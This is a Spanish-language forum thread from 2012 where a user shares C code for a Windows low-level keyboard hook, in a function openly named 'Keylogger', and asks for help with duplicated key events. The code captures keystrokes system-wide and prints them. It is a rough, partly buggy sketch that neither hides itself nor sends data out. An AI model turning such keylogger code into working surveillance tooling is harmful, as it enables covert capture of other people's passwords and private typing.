Problema con AttachThreadInput

Iniciado por someRandomCode, 28 Noviembre 2012, 23:59 PM

0 Miembros y 1 Visitante están viendo este tema.

someRandomCode

Bueno, muchachos, en realidad CREO que el problema esta ahi, eh aqui el codigo:

#include <windows.h>
HHOOK hKeyHook = NULL;
__declspec(dllexport) LRESULT CALLBACK Teclazo(int nCode, WPARAM wParam, LPARAM lParam) {
HWND ventana;
BYTE Buffer[100];
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
BYTE Status;
char Mensaje[100];
ventana = GetForegroundWindow();
DWORD thread;
if (ventana) {
thread = GetWindowThreadProcessId(ventana,NULL);
if (thread) {
AttachThreadInput(GetCurrentThreadId(),thread,TRUE);
}
}
ToAscii(hooked.vkCode,hooked.scanCode,NULL,(LPWORD)Buffer,0);
printf("%c: \n",Buffer[0]);
printf("%c: \n",Buffer[1]);
AttachThreadInput(GetCurrentThreadId,thread,FALSE);
return CallNextHookEx(NULL,nCode,wParam,lParam);
}
void LoopDeMensajes(){
MSG msg;
while (GetMessage(&msg,NULL,0,0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
DWORD WINAPI Keylogger() {
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)Teclazo,GetModuleHandle(NULL),NULL);
LoopDeMensajes();
UnhookWindowsHookEx(hKeyHook);
}

int main() {
DWORD dwThread = 0;
HANDLE hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)Keylogger,(LPVOID)NULL,NULL,dwThread);
if (hThread) {
return WaitForSingleObject(hThread,INFINITE);
}
}


El problema es que parece que no estoy levantando la tecla en si, aunque si estoy hookeando bien el proceso porque me esta retornando dos lineas por cada tecla que aprete, no importa en donde.

someRandomCode

Nada nada, solucionado, que pena que quede el codigo tirado ´visible para todos.. Se ven "mis manchas" jaja

x64core

Cita de: someRandomCode en 29 Noviembre 2012, 00:17 AM
Nada nada, solucionado, que pena que quede el codigo tirado ´visible para todos.. Se ven "mis manchas" jaja

Eso ayuda a otros que tengo algun problema similar  :)

someRandomCode

El unico problema que tengo ahora es que me recibe los eventos duplicados.. alguna idea?